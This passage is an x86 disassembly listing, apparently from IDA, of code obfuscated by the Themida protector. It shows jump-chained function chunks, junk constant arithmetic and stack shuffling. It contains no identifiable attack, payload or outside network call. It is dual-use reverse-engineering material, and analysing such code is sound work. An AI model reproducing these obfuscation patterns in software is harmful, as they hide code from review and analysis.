[esp] jmp loc_58AD76 ; --------------------------------------------------------------------------- push dword ptr [edi+38h] push 33Eh mov [esp], esi push ecx mov ecx, 22B33367h xor ecx, 646D6B55h jns loc_5964CA xor ecx, 1B19686Fh sub al, 0D1h mov cl, 66h loc_58E576: ; CODE XREF: Themida_:00593021j pop esp sub esp, 4 jmp loc_5956F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_58E57F: ; CODE XREF: sub_590010-2C59j add edi, 4 jmp loc_597BF9 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- loc_58E58A: ; CODE XREF: Themida_:00596376j mov edi, 4 sub ebx, edi pop edi jmp loc_58E9B1 ; --------------------------------------------------------------------------- loc_58E597: ; CODE XREF: Themida_:0058ECEEj pop ecx not ah push edx jmp loc_596E17 ; --------------------------------------------------------------------------- loc_58E5A0: ; CODE XREF: Themida_:loc_59271Cj xor bl, 64h xchg ah, bl xchg dl, ah not dl xchg dl, ah xchg ah, bl shr bl, 2 sub esp, 4 mov [esp], eax push 542h jmp loc_58C141 ; --------------------------------------------------------------------------- loc_58E5C0: ; CODE XREF: Themida_:005926FBj pop ebx jmp loc_58DB89 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_58E5C6: ; CODE XREF: sub_5916CB+6685j mov ecx, 36555BE8h shl ecx, 4 not ecx dec ecx sub ecx, 0C822DF25h add ebp, ecx pop ecx sub esi, ebp pop ebp push 1C5Bh jmp loc_5952AE ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- loc_58E5E7: ; CODE XREF: Themida_:00595E87j and ebx, edi jmp loc_594262 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58E5EE: ; CODE XREF: sub_58C17E+BE9Cj mov esi, 4 add ebx, esi jmp loc_58B878 ; --------------------------------------------------------------------------- loc_58E5FA: ; CODE XREF: sub_595BDA-7CFCj ; sub_58C17E:loc_596F17j push edx mov dl, 0D7h add bl, dl pop edx add bl, 0E8h jmp loc_597864 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_58E608: ; CODE XREF: Themida_:0058AA69j jle loc_596579 jmp loc_58F10B ; --------------------------------------------------------------------------- pop dword ptr [esp] mov esp, [esp] push edx ; START OF FUNCTION CHUNK FOR sub_595123 loc_58E61A: ; CODE XREF: sub_595123-66D0j add esp, 4 push edi mov edi, 4E72D2Ah add edi, 7E20127Eh jnz loc_58E0CB or edi, 54A513FBh push edx mov edx, 7E6AFFACh add edi, edx loc_58E63D: ; CODE XREF: Themida_:00595ACAj pop edx add edx, 4 add edx, 4 xchg edx, [esp+14h+var_14] jmp loc_590701 ; END OF FUNCTION CHUNK FOR sub_595123 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58D236 loc_58E652: ; CODE XREF: sub_58D236-B60j pop [esp-4+arg_0] jmp loc_58A79E ; END OF FUNCTION CHUNK FOR sub_58D236 ; --------------------------------------------------------------------------- mov ax, [esp] push edx mov edx, esp push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], eax mov eax, 3C1B42h add eax, 114F5E65h xor eax, 118B79A3h add edx, eax mov eax, [esp] push eax jmp loc_5932AD ; --------------------------------------------------------------------------- loc_58E691: ; CODE XREF: Themida_:0058E4B4j neg dl and dl, 30h xor dl, 47h jmp loc_595C56 ; --------------------------------------------------------------------------- loc_58E69E: ; CODE XREF: Themida_:00597FF9j pop esi push 4282h jmp loc_590436 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_58E6A9: ; CODE XREF: sub_59762D-1168j sub ebp, eax pop eax xchg ebp, [esp+0] pop esp mov word ptr [esp-8+arg_4], ax jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_58E6B9: ; CODE XREF: sub_592D25:loc_58FE60j ; sub_5EC2E8-5BC65j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+28h+var_28] pop esp jmp loc_593CF4 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_58E6D0: ; CODE XREF: sub_5916CB-2557j pop ebp jmp loc_58E9E9 ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_58E6D6: ; CODE XREF: sub_590010+169Aj ; Themida_:00595171j mov eax, esp add eax, 4 push edx mov edx, 2 jmp loc_58ED5C ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl word ptr [esp], cl pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_58E6F8: ; CODE XREF: sub_5938B9-ED2j push eax mov eax, esp add eax, 4 jmp loc_58B6E1 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- neg byte ptr [esp] pushf jmp loc_58EB64 ; --------------------------------------------------------------------------- loc_58E70E: ; CODE XREF: Themida_:00595DC4j push eax mov eax, 4 sub ebp, eax mov eax, [esp] jmp loc_5955B6 ; --------------------------------------------------------------------------- loc_58E71E: ; CODE XREF: Themida_:0058E12Dj xor bh, 7Ch add dl, bh jmp loc_58E49A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_58E728: ; CODE XREF: sub_590010+4FDj push esi jmp loc_58DD99 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592D25 loc_58E72E: ; CODE XREF: sub_592D25+3D8j xchg eax, ecx sub esp, 4 mov [esp+10h+var_10], ecx sub esp, 4 mov [esp+0], edx push [esp+14h+var_10] mov edx, [esp+0] add esp, 4 pop dword ptr [esp+0] push edx jmp loc_5936EB ; END OF FUNCTION CHUNK FOR sub_592D25 ; --------------------------------------------------------------------------- locret_58E754: ; CODE XREF: Themida_:005943E6j ; Themida_:005946BAj retn ; --------------------------------------------------------------------------- jmp loc_58FA27 ; --------------------------------------------------------------------------- loc_58E75A: ; CODE XREF: Themida_:00590852j push edx mov dh, 0C3h sub esp, 2 mov [esp], bx mov bh, 8 xor dh, bh jmp loc_58C90D ; --------------------------------------------------------------------------- loc_58E76D: ; CODE XREF: Themida_:loc_58F9AEj shr edi, 6 sub edi, 71E80F89h jmp loc_597467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58E77B: ; CODE XREF: sub_590467-A63j pop esp xor ebx, eax push small 161Fh jmp loc_58B75A ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- loc_58E787: ; CODE XREF: Themida_:0059006Dj mov [esp], eax jmp loc_597305 ; --------------------------------------------------------------------------- loc_58E78F: ; CODE XREF: Themida_:0059453Dj jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5919E2 loc_58E794: ; CODE XREF: sub_5919E2-466Aj xor ecx, 9FD30FFAh push edx push ecx jmp loc_590373 ; END OF FUNCTION CHUNK FOR sub_5919E2 ; --------------------------------------------------------------------------- push 27EDh mov [esp], edi push esp pop edi add edi, 4 jmp loc_59104A ; --------------------------------------------------------------------------- loc_58E7B6: ; CODE XREF: Themida_:00596233j push esi jmp loc_58AD8B ; --------------------------------------------------------------------------- loc_58E7BC: ; CODE XREF: Themida_:00591501j pop esp jmp loc_597EB8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58E7C2: ; CODE XREF: sub_58C17E+707Ej not eax shr eax, 8 jmp loc_58BF2C ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_58E7CC: ; CODE XREF: Themida_:00591EEEj add esp, 4 jmp loc_58F06C ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_58E3FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58E7DF: ; CODE XREF: sub_58C17E+90C9j add esp, 4 xchg ecx, [esp+0] mov esp, [esp+0] jmp loc_591F34 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_592731 ; --------------------------------------------------------------------------- loc_58E7F9: ; CODE XREF: Themida_:0058AD10j mov esp, [esp] shl byte ptr [esp], cl pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_58E805: ; CODE XREF: Themida_:0058A8A5j jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592D25 loc_58E80A: ; CODE XREF: sub_592D25-970j inc ebx jmp loc_58FE60 ; END OF FUNCTION CHUNK FOR sub_592D25 ; --------------------------------------------------------------------------- loc_58E810: ; CODE XREF: Themida_:0058F346j pop ebx add al, bh push ecx mov cl, 0C9h not cl add cl, 1Eh jmp loc_59705B ; --------------------------------------------------------------------------- loc_58E820: ; CODE XREF: Themida_:0058ECBBj mov ebx, esp add ebx, 4 push edx mov edx, 4 jmp loc_594DE8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_58E833: ; CODE XREF: sub_595E21-57FAj add esp, 4 ; END OF FUNCTION CHUNK FOR sub_595E21 ; START OF FUNCTION CHUNK FOR sub_59524C loc_58E839: ; CODE XREF: sub_59524C+281Aj push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp+8+var_8] pop esp mov [esp+4+var_4], ebx xor [esp+4+var_4], 7725249Dh pop eax jmp loc_58E923 ; END OF FUNCTION CHUNK FOR sub_59524C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58E859: ; CODE XREF: sub_5916C4+42CEj add ebx, 4 add ebx, 4 xor ebx, [esp-4+arg_0] jmp loc_58B3BD ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_58E86A: ; CODE XREF: Themida_:0059450Bj sub ebx, 296387ABh jmp loc_593D4C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58E875: ; CODE XREF: sub_5916C4-6D0Dj add edx, eax push 5984h mov [esp+0], ecx mov ecx, 640740BFh sub edx, ecx jmp loc_5915CE ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_58E88B: ; CODE XREF: sub_5938B9+229Ej xor ebx, edi pop edi jmp loc_58BD0B ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_58E893: ; CODE XREF: sub_5916CB-23D7j push [esp+8+var_8] pop edx push 24D0h mov [esp+0Ch+var_C], esi push esp jmp loc_59147B ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59590E loc_58E8A5: ; CODE XREF: sub_59590E-7927j jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_59590E ; --------------------------------------------------------------------------- loc_58E8AA: ; CODE XREF: Themida_:00593B80j pop eax jmp loc_58E180 ; --------------------------------------------------------------------------- loc_58E8B0: ; CODE XREF: Themida_:0058CABDj xor [esp], eax xor eax, [esp] pop esp jmp loc_58C5CC ; --------------------------------------------------------------------------- loc_58E8BC: ; CODE XREF: Themida_:00597BC8j mov ecx, 0 sub ecx, edx xchg ecx, edx pop ecx not edx xchg ebp, edx neg ebp xchg ebp, edx push eax mov eax, 648D143Fh or eax, 75F5D4Ch xor eax, 4F240D41h sub edx, eax mov eax, [esp] add esp, 4 xor edx, 6AC9678Fh jmp loc_58D31F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58B4D6 loc_58E8F1: ; CODE XREF: sub_58B4D6+8498j sub eax, ebx jmp loc_58C5BE ; END OF FUNCTION CHUNK FOR sub_58B4D6 ; --------------------------------------------------------------------------- mov ax, [esp] push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi mov esi, esp push 7757h mov [esp], ecx mov ecx, 4 jmp loc_5919F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59524C loc_58E923: ; CODE XREF: sub_59524C-69F8j push edi jmp loc_594C30 ; END OF FUNCTION CHUNK FOR sub_59524C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_58E929: ; CODE XREF: sub_595E21+26j pop edi push ebp push edx jmp loc_594812 ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- loc_58E931: ; CODE XREF: Themida_:0058AE97j push edi push esi mov esi, 320B7EC5h sub esi, 1DF352D6h jmp loc_58CD3E ; --------------------------------------------------------------------------- loc_58E943: ; CODE XREF: Themida_:00597711j mov ax, [esp] sub esp, 4 mov [esp], ebx push esp push dword ptr [esp] push dword ptr [esp] pop ebx add esp, 4 add esp, 4 push eax mov eax, 4 add ebx, eax pop eax push edi mov edi, 2 add ebx, edi mov edi, [esp] add esp, 4 xchg ebx, [esp] mov esp, [esp] jmp loc_58D43F ; =============== S U B R O U T I N E ======================================= sub_58E980 proc near ; CODE XREF: sub_58F5B5-1ED2j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058DDBC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0058EAFB SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00593261 SIZE 00000012 BYTES push ebp jmp loc_58EAFB sub_58E980 endp ; --------------------------------------------------------------------------- loc_58E986: ; CODE XREF: Themida_:00596C21j mov [esp], eax push ecx mov ch, 95h mov al, ch jmp loc_58BF18 ; --------------------------------------------------------------------------- loc_58E993: ; CODE XREF: Themida_:loc_58FED9j jmp loc_593598 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58E998: ; CODE XREF: sub_58C17E+342Bj sub edx, 0BF8793Eh add edx, edi add edx, 0BF8793Eh add edx, 43F14273h jmp loc_58F400 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_58E9B1: ; CODE XREF: Themida_:0058E592j xchg ebx, [esp] jmp loc_58FBBA ; --------------------------------------------------------------------------- loc_58E9B9: ; CODE XREF: Themida_:0059202Ej inc ebp neg ebp push esi mov esi, 5E13514Dh sub esi, 6A276096h dec esi sub esi, 4B4E3A9Ah add esi, 7DE1301Bh sub esi, 1CC94090h sub esi, 7041DBCEh xor ebp, esi pop esi jmp loc_58A976 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_58E9E9: ; CODE XREF: sub_5916CB-2FFAj mov ebp, 0FA8AF580h push eax mov eax, 23041F06h add ebp, 359B6601h add ebp, eax sub ebp, 359B6601h pop eax add ebp, 7A2E376Eh sub ebp, 0FE149D3h add ebp, edx add ebp, 0FE149D3h sub ebp, 7A2E376Eh sub ebp, 23041F06h pop edx jmp loc_592E7F ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595123 loc_58EA29: ; CODE XREF: sub_595123-3491j pop esp xchg ebx, [esp+10h+var_10] mov esp, [esp+10h+var_10] or eax, eax jnz loc_58B321 push 7ED3h mov [esp+14h+var_14], ebp push 2E55h mov [esp+18h+var_18], edx push esi mov esi, 49463089h mov edx, esi mov esi, [esp+0] jmp loc_58E61A ; END OF FUNCTION CHUNK FOR sub_595123 ; --------------------------------------------------------------------------- loc_58EA58: ; CODE XREF: Themida_:00593CDEj push ebp mov ebp, esp push ebx mov ebx, 3D206D39h not ebx push edi mov edi, 687D3CE6h xor ebx, edi pop edi xor ebx, 0AAA2AE24h add ebp, ebx jmp loc_595ADC ; --------------------------------------------------------------------------- loc_58EA79: ; CODE XREF: Themida_:0058B840j pop edi jmp loc_58B492 ; --------------------------------------------------------------------------- mov cx, [esp] push 310Bh mov [esp], ebx jmp loc_5946F8 ; --------------------------------------------------------------------------- loc_58EA90: ; CODE XREF: Themida_:00593FCDj sub al, 0CEh push ebx mov bl, 62h sub al, bl pop ebx push dword ptr [esp] pop ecx push edi mov edi, esp jmp loc_594751 ; --------------------------------------------------------------------------- loc_58EAA4: ; CODE XREF: Themida_:0059018Aj sub esp, 4 mov [esp], ecx jmp loc_596001 ; --------------------------------------------------------------------------- loc_58EAB2: ; CODE XREF: Themida_:00597695j push esi mov esi, 2 sub ebx, 6E834FB8h add ebx, 3EA74325h add ebx, esi push ebp jmp loc_593F57 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58EACC: ; CODE XREF: Themida_:0058AC4Bj ; sub_58F5B5-306Cj push edi mov edi, 0EA87F417h sub eax, edi pop edi sub esi, eax mov eax, [esp-0Ch+arg_8] add esp, 4 not esi push ecx jmp loc_58B8B2 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_58EAE5: ; CODE XREF: sub_590010-3ED4j push esp pop edi jmp loc_58B426 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_58EAEC: ; CODE XREF: Themida_:0058FE09j ; sub_5938B9+4228j pop ebp push eax mov eax, 4 add ebp, eax pop eax jmp loc_597AEC ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E980 loc_58EAFB: ; CODE XREF: sub_58E980+1j mov ebp, esp jmp loc_593261 ; END OF FUNCTION CHUNK FOR sub_58E980 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58EB02: ; CODE XREF: sub_58F5B5-3EBFj xor edi, [esp+4+var_4] pop esp add esp, 4 jmp loc_59673D ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_58EB0E: ; CODE XREF: sub_59762D-4BEFj sub al, 17h add al, ch add al, 17h sub al, 57h pop ecx sub bl, 0F3h jmp loc_597472 ; END OF FUNCTION CHUNK FOR sub_59762D ; =============== S U B R O U T I N E ======================================= sub_58EB1F proc near ; CODE XREF: sub_58DBC4+68A4j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0058A6BF SIZE 0000003C BYTES ; FUNCTION CHUNK AT 0058B7C9 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0058F64B SIZE 00000010 BYTES push ebp sub esp, 4 mov [esp+8+var_8], ebx mov ebx, 4 mov ebp, ebx pop ebx add esi, ebp pop ebp add esi, 4 jmp loc_58B7C9 sub_58EB1F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_596CA1 loc_58EB3C: ; CODE XREF: sub_596CA1-48D0j sub ebx, 4 xchg ebx, [esp+2+var_4+2] pop esp mov [esp+0], ecx push 7742h mov [esp+2+var_4+2], edx jmp sub_5955A6 ; END OF FUNCTION CHUNK FOR sub_596CA1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58EB56: ; CODE XREF: sub_590467-3301j push eax mov al, 0B8h or al, 0DCh and al, 0B8h xor al, 95h jmp loc_592572 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- loc_58EB64: ; CODE XREF: Themida_:0058E709j jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_58EB69: ; CODE XREF: Themida_:00594B26j not ebp push ebp xchg eax, [esp] jmp loc_595620 ; --------------------------------------------------------------------------- loc_58EB74: ; CODE XREF: Themida_:005937D2j add eax, 24AF5079h add eax, ebx jmp loc_58E32F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58D99C loc_58EB80: ; CODE XREF: sub_58D99C+334j push eax jmp loc_58C064 ; END OF FUNCTION CHUNK FOR sub_58D99C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_58EB86: ; CODE XREF: sub_5EC2E8-55690j pop cx push edx mov dl, 6Ah sub dl, 54h xchg bl, dl inc bl xchg bl, dl sub dl, 1 xor dl, 95h shr dl, 7 jmp loc_592A61 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- loc_58EBA2: ; CODE XREF: Themida_:00590752j shr dword ptr [esp], cl pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58EBAB: ; CODE XREF: sub_590467+4D4Dj pop esp mov word ptr [esp-4+arg_0], cx jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594654 loc_58EBB5: ; CODE XREF: Themida_:005902D6j ; sub_594654+Cj push esi mov esi, esp add esi, 4 add esi, 4 push esi push [esp+0Ch+var_8] jmp loc_597CA5 ; END OF FUNCTION CHUNK FOR sub_594654 ; --------------------------------------------------------------------------- loc_58EBCB: ; CODE XREF: Themida_:00592E8Fj inc ebp neg ebp push ecx mov ecx, 0AE48F92Dh xor ebp, ecx pop ecx add eax, ebp jmp loc_590D12 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_58EBDE: ; CODE XREF: sub_595E21+1346j sub esi, 4 xchg esi, [esp-8+arg_4] pop esp mov [esp-0Ch+arg_8], edi push ebx push 0DD2424h pop ebx jmp loc_58CCB7 ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- loc_58EBF4: ; CODE XREF: Themida_:0058CF6Ej mov ecx, edx mov edi, ecx pop ecx jmp loc_59464C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58B4D6 loc_58EBFE: ; CODE XREF: sub_58B4D6+ABB2j mov ecx, [esp+8+var_8] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+0Ch+var_C] pop esp jmp loc_58E0E0 ; END OF FUNCTION CHUNK FOR sub_58B4D6 ; --------------------------------------------------------------------------- loc_58EC19: ; CODE XREF: Themida_:005910BAj sub al, 0A2h push 7B61h mov [esp], ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] jmp loc_58F880 ; --------------------------------------------------------------------------- loc_58EC39: ; CODE XREF: Themida_:0058C9D4j not cl inc cl sub cl, 73h sub al, 5Bh sub al, cl add al, 5Bh mov ecx, [esp] add esp, 4 jmp loc_597668 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58EC51: ; CODE XREF: sub_58C17E+7793j mov edx, esi jmp loc_594887 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_58EC58: ; CODE XREF: Themida_:00596B58j mov ebp, 5A654190h mov edi, 5A654194h jmp loc_593BBD ; --------------------------------------------------------------------------- loc_58EC67: ; CODE XREF: Themida_:00591038j jmp loc_597B97 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595258 loc_58EC6C: ; CODE XREF: sub_595258-5963j sub ebp, 4 xchg ebp, [esp+0Ch+var_C] pop esp mov [esp+8+var_8], edi push [esp+8+var_4] jmp loc_58F5AE ; END OF FUNCTION CHUNK FOR sub_595258 ; --------------------------------------------------------------------------- loc_58EC82: ; CODE XREF: Themida_:00597ECBj add ecx, 4 add ecx, 4 xor ecx, [esp] jmp loc_5908CC ; =============== S U B R O U T I N E ======================================= sub_58EC96 proc near ; CODE XREF: sub_5955A6-A835j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058BCCD SIZE 0000002C BYTES ; FUNCTION CHUNK AT 00593F42 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005946B3 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00594A61 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059664B SIZE 0000000A BYTES push ebx mov bh, 0B8h jmp loc_594A61 sub_58EC96 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_58EC9E: ; CODE XREF: sub_59762D:loc_58FCCFj or ebp, 5C967C10h xor ebp, 0C24EC2BCh jmp loc_58FC27 ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- loc_58ECAF: ; CODE XREF: Themida_:0058C7C3j ; Themida_:00591C1Aj push ecx push edx jmp loc_59036E ; --------------------------------------------------------------------------- loc_58ECB6: ; CODE XREF: Themida_:0058A85Fj ; Themida_:0058D7DCj pop edi add edi, edx pop edx push ebx jmp loc_58E820 ; --------------------------------------------------------------------------- loc_58ECC0: ; CODE XREF: Themida_:0059561Bj add edi, 30982DD2h add edi, eax jmp loc_58FAFD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594FD6 loc_58ECCD: ; CODE XREF: sub_594FD6-9E7Ej add esp, 4 mov eax, [esp+0Ch+var_C] add esp, 4 mov [edi+eax*4], dh pop edx jmp loc_5954DA ; END OF FUNCTION CHUNK FOR sub_594FD6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F836 loc_58ECE2: ; CODE XREF: sub_58F836+Bj mov eax, 4D14481Bh jmp loc_597BCD ; END OF FUNCTION CHUNK FOR sub_58F836 ; --------------------------------------------------------------------------- loc_58ECEC: ; CODE XREF: Themida_:00590ECCj mov ah, cl jmp loc_58E597 ; --------------------------------------------------------------------------- loc_58ECF3: ; CODE XREF: Themida_:0058B912j inc edx neg edx not edx sub edx, 2B25D23Ch add ebp, edx pop edx add ebp, 4 jmp loc_59800F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58ED09: ; CODE XREF: sub_58F5B5+A0Dj inc ebx and ebx, 46F23D47h shl ebx, 4 jmp loc_59008F ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58ED18: ; CODE XREF: sub_58C17E+6440j push esi jmp loc_591DEC ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58ED1E: ; CODE XREF: sub_5916C4-194Fj mov eax, 49C659F5h inc eax add eax, 1CC00963h mov ecx, eax pop eax add [esp-4+arg_4], 4A2B204Ah sub [esp-4+arg_4], ecx push ebp mov ebp, 4A2B204Ah jmp loc_591DF6 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_58ED43: ; CODE XREF: Themida_:00597387j push dword ptr [esp] pop eax push ebp push 0DD3h mov [esp], esp add dword ptr [esp], 4 jmp loc_590FF4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_58ED5C: ; CODE XREF: sub_590010-192Dj sub eax, 1F3B2E91h sub eax, edx push edx mov edx, 1F3B2E91h jmp loc_59172D ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- loc_58ED6E: ; CODE XREF: Themida_:005921D3j add esp, 4 jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_58ED79: ; CODE XREF: Themida_:005979E0j add ecx, 0DBCA3705h jmp loc_58D4C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_58ED84: ; CODE XREF: sub_595E21-3596j and eax, edi jmp loc_595791 ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- loc_58ED8B: ; CODE XREF: Themida_:005925EFj add edi, ebx sub edi, 51BE2264h pop ebx sub edi, 4 jmp loc_58EE57 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58ED9C: ; CODE XREF: sub_58C17E-1CB4j add eax, ebp pop ebp xor eax, [esp+4+var_4] xor [esp+4+var_4], eax xor eax, [esp+4+var_4] mov esp, [esp+4+var_4] push 5963h mov [esp+8+var_8], edx mov edx, 0 push esi push eax mov eax, 511717Dh mov esi, 339A70C8h jmp loc_59263F ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592D25 loc_58EDC9: ; CODE XREF: sub_592D25-884Ej pop eax pop ecx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp-4+arg_0] jmp loc_58C149 ; END OF FUNCTION CHUNK FOR sub_592D25 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58EDDF: ; CODE XREF: sub_590467+1E04j jnz sub_597969 push ebx mov ebx, 0FFFFFFFFh jmp loc_597DB2 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- mov cl, bh push edx ; START OF FUNCTION CHUNK FOR sub_595123 loc_58EDF3: ; CODE XREF: sub_595123-7048j add [esp+18h+var_18], 6B080B9Ah pop ebp jmp loc_591765 ; END OF FUNCTION CHUNK FOR sub_595123 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_58EE00: ; CODE XREF: sub_590010-3D3Dj pop esi add edx, 4 xchg edx, [esp-10h+arg_C] pop esp sub ebx, 735F566Dh mov eax, ebx jmp loc_590BA5 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- loc_58EE18: ; CODE XREF: 